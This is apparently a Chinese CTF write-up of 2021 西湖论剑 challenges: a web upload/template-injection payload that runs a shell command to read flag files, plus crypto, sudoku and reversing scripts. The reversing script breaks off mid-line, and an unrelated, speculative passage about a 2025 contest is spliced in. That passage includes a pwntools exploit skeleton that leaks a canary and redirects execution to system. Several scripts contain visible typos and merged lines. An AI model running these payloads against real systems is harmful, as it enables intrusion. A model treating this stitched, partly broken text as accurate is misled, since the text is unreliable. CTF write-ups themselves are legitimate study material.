WP-2021西湖论剑

本文详细介绍了2021西湖论剑的Web安全挑战,包括 EZUpload 的文件上传漏洞利用,密码人集合的数独解谜,unknown_dsa的佩尔方程求解,TacticalArmed的二进制解密,以及ROR的位运算加密算法分析。通过这些挑战,展示了Web安全领域的多种攻防技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2021西湖论剑-wp

前言

全靠大佬打,我是划水的。

灏妹的web

页面开发中
Dirsearch扫一下,idea泄露
在这里插入图片描述

ezupload

查看页面源代码,发现提示
在这里插入图片描述
?source=1
在这里插入图片描述

发现使用_FILE进行上传,构造上传表单
在这里插入图片描述
访问并随便上传一个文件,放到bp里回显no
查看源码最后一个else,在此情况进行渲染temper/index.latte,同时文件也被写入temper。也就是我们上传index.latte的文件。

waf测试
{if “${ nl /f*>1}”}{/if}

在这里插入图片描述
然后上传,最后访问url/1。

密码人集合

nc连接
在这里插入图片描述
可知为数独
https://www.jb51.net/article/110940.htm 借此脚本

#coding=utf-8

import datetime

class solution(object):

def __init__(self,board):

self.b = board

self.t = 0

def check(self,x,y,value):#检查每行每列及每宫是否有相同项

for row_item in self.b[x]:

if row_item == value:

return False

for row_all in self.b:

if row_all[y] == value:

return False

row,col=x/3*3,y/3*3

row3col3=self.b[row][col:col+3]+self.b[row+1][col:col+3]+self.b[row+2][col:col+3]

for row3col3_item in row3col3:

if row3col3_item == value:

return False

return True

def get_next(self,x,y):#得到下一个未填项

for next_soulu in range(y+1,9):

if self.b[x][next_soulu] == 0:

return x,next_soulu

for row_n in range(x+1,9):

for col_n in range(0,9):

if self.b[row_n][col_n] == 0:

return row_n,col_n

return -1,-1 #若无下一个未填项,返回‐1

def try_it(self,x,y):#主循环

if self.b[x][y] == 0:

for i in range(1,10):#从1到9尝试

self.t+=1

if self.check(x,y,i):#符合 行列宫均无条件 的

self.b[x][y]=i #将符合条件的填入0格

next_x,next_y=self.get_next(x,y)#得到下一个0格

if next_x == -1: #如果无下一个0格

return True #返回True

else: #如果有下一个0格,递归判断下一个0格直到填满数独

end=self.try_it(next_x,next_y)

if not end: #在递归过程中存在不符合条件的,即 使try_it函数返回None的项

self.b[x][y] = 0 #回朔到上一层继续

else:

return True

def start(self):

begin = datetime.datetime.now()

if self.b[0][0] == 0:

self.try_it(0,0)

else:

x,y=self.get_next(0,0)

self.try_it(x,y)

for i in self.b:

print i

end = datetime.datetime.now()

print '\ncost time:', end - begin

print 'times:',self.t

return



s=solution([[3,0,1,0,5,8,0,0,7],

[4,0,0,0,0,0,0,3,0],

[0,0,0,0,2,0,0,0,0],

[9,8,0,3,0,0,0,0,6],

[0,0,6,0,0,0,0,0,0],

[0,0,0,0,0,0,7,8,0],

[5,0,0,0,6,0,9,0,8],

[8,0,0,0,0,0,0,0,1],

[0,0,0,0,0,0,0,0,0]])

s.start()

西湖论剑我要拿第一

1 234 5678 9 依次代替成数字
在这里插入图片描述
得出结果,再转回文字
在这里插入图片描述

unknown_dsa

先来求一下佩尔方程,得解是ul 和 vl:
ul[i] ^ 2 - wl[i] \times vl[i]^2 == 1

Python脚本

wl = [3912956711, 4013184893, 3260747771]

ul = []

vl = []

def pell(N, try_num):

cf = continued_fraction(sqrt(N))

for i in range(try_num):

denom = cf.denominator(i)

numer = cf.numerator(i)

if numer2 - N * denom2 == 1:

return numer, denom

return None, None

for N in wl:

ult, vlt = pell(N, 10000)

ul.append(ult)

vl.append(vlt)

print(ul)

print(vl)

2.拿到ul 和 vl,知道c11和c12,得到m1和m2

m1=crt(c11,ui)

m1,_=gmpy2.iroot(m1,7)

Print(long_to_buyes(m1))

m2=crt(c12,v1)

m2,_=gmpy2.iroot(m2,7)

Print(long_to_buyes(m2))

求p和q,已知 p ∗ q p * q pq 和 $(p-1)

脚本如下

Import gmpy2

n=852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256 x=211158499061801396563106646074584256376705200819832482589841660262228987535050089041366888200757204110 Delta=1+4*n*x

delta_sqrt, _ = gmpy2.iroot(delta, 2)

p = (1 + delta_sqrt) // 2

q = n // p

print(p)

print(q)

计算x1和x2就行。

s1 = (hm1 + x1*r1) * invert(k, q) % q

s2 = (hm2 + x1*r1) * invert(k, q) % q

TacticalArmed

打开exe,程序用了二进制文件的数据动态来构建机器码

首先来提取机器码

import pefile, binascii, struct, mmap

from iced_x86 import *

from typing import Dict, Sequence

from types import ModuleType

flag = b"0" * 8

ida_off = 0x401a00

bin_file = open('./TacticalArmed.exe', 'rb')

bin_map = mmap.mmap(bin_file.fileno(), 0, access=mmap.ACCESS_READ)

sizes_raw = bin_map[0x405220 - ida_off:0x405220 - ida_off + 34 * 4]

sizes = [struct.unpack('@I', sizes_raw[i:i+4])[0] for i in range(0, len(sizes_raw), 4)]

template_base = 0x405010 - ida_off

dw_4052A8_base = 0x4052A8 - ida_off

size = 0

v17 = 0

counter = 0

template_offset = template_base

def sub_4011F0(b_arr, counter, offset):

i = 0

while b_arr[i] != 0:

i += 1

dw = struct.unpack('@I', bin_map[dw_4052A8_base + counter * 4:dw_4052A8_base + counter * 4 + 4])[0]

assert dw >= 0

v5 = dw % 0x10

v4 = dw >> 4

if v4 == 1:

b_arr[i:i+4] = struct.pack('@I', 0x405648 + 4 * (v5 + 2 * offset))

elif v4 == 2:

b_arr[i:i+4] = struct.pack('@I', 0x405000 + 4 * v5)

elif v4 == 3:

b_arr[i:i+4] = struct.pack('@I', 0x405748)

formatter = Formatter(FormatterSyntax.INTEL)

def create_enum_dict(module: ModuleType) -> Dict[int, str]:

return {
   module.__dict__[key]:key for key in module.__dict__ if isinstance(module.__dict__[key], int)}

CODE_TO_STRING: Dict[Code_, str] = create_enum_dict(Code)

def code_to_string(value: Code_) -> str:

s = CODE_TO_STRING.get(value)

if s is None:

return str(value) + " /*Code enum*/"

return s

REGISTER_TO_STRING: Dict[Register_, str] = create_enum_dict(Register)

def register_to_string(value: Register_) -> str:

s = REGISTER_TO_STRING.get(value)

if s is None:

return str(value) + " /*Register enum*/"

return s

OP_CODE_OPERAND_KIND_TO_STRING: Dict[OpCodeOperandKind_, str] = create_enum_dict(OpCodeOperandKind)

def op_code_operand_kind_to_string(value: OpCodeOperandKind_) -> str:

s = OP_CODE_OPERAND_KIND_TO_STRING.get(value)

if s is None:

return str(value) + " /*OpCodeOperandKind enum*/"

return s

MNEMONIC_TO_STRING: Dict[Mnemonic_, str] = create_enum_dict(Mnemonic)

def mnemonic_to_string(value: Mnemonic_) -> str:

s= MNEMONIC_TO_STRING.get(value) if s is None:

return str(value) + " /*Mnemonic enum*/" return s

def format_mem(offset, is_lhs):

if offset == 0x405748:

return "TMP", False

elif offset >= 0x405648 and offset < 0x405748:

off = offset - 0x405648

if is_lhs:

return "INPUT[%d:%d]" % (off, off + 
目前尚未有针对2025年西湖论剑活动的具体信息或技术解析公开发布。然而,基于以往的比赛内容和技术细节,可以推测未来比赛中WP类别的Pwn项目可能会延续并深化某些关键技术点。 ### 关键技术趋势预测 #### 1. 堆漏洞利用 堆漏洞仍然是Pwn挑战的重要组成部分之一。根据过往经验,在解决此类问题时,参赛者通常需要深入理解堆内存管理机制以及如何通过精心构造的数据覆盖指针或其他关键结构来实现任意地址读写操作[^2]。 #### 2. 栈保护绕过 随着安全防护措施不断增强,现代程序往往启用多种防御手段如栈金丝雀(canary)等。为了成功执行攻击代码,选手可能需先泄漏canary值再结合缓冲区溢出完成最终目标即调用system函数启动shell进程获取控制权[^4]。 #### 3. 文件系统交互 一些题目设计会涉及本地文件系统的访问权限限制突破。例如允许用户指定路径名从而达到越界读取敏感数据的目的;或者将特定格式的内容保存至服务器端临时目录下供后续处理阶段加载执行[^3]。 以下是模拟的一个简单示例展示如何寻找vulnerable point 并加以利用: ```python from pwn import * context.log_level = 'debug' # Connect to the target service conn = remote('example.com', 9999) # Leak canary value by exploiting format string vulnerability or other methods. def leak_canary(): payload = b"%7$p" conn.sendline(payload) response = conn.recvuntil(b'\n') return int(response.strip(), 16) canary_value = leak_canary() log.info(f"Leaked Canary Value: {hex(canary_value)}") # Construct final exploit with leaked information included appropriately within offsets etc.. exploit_payload = flat({ offset_to_return_address:{ canary_offset : canary_value, ret_addr_positon : system_function_address, param_position_for_system_call : bin_sh_string_location} }) conn.sendline(exploit_payload) conn.interactive() ``` 以上脚本仅为示意用途,请勿直接用于任何非法行为尝试! ### 结语 尽管无法确切知晓两年后的具体赛制安排与考察知识点范围变化情况,但从历年积累下来的经验教训里可以看出,扎实掌握基础理论知识的同时也要紧跟最新研究成果动态发展步伐才能更好地应对各类复杂场景下的实际应用需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值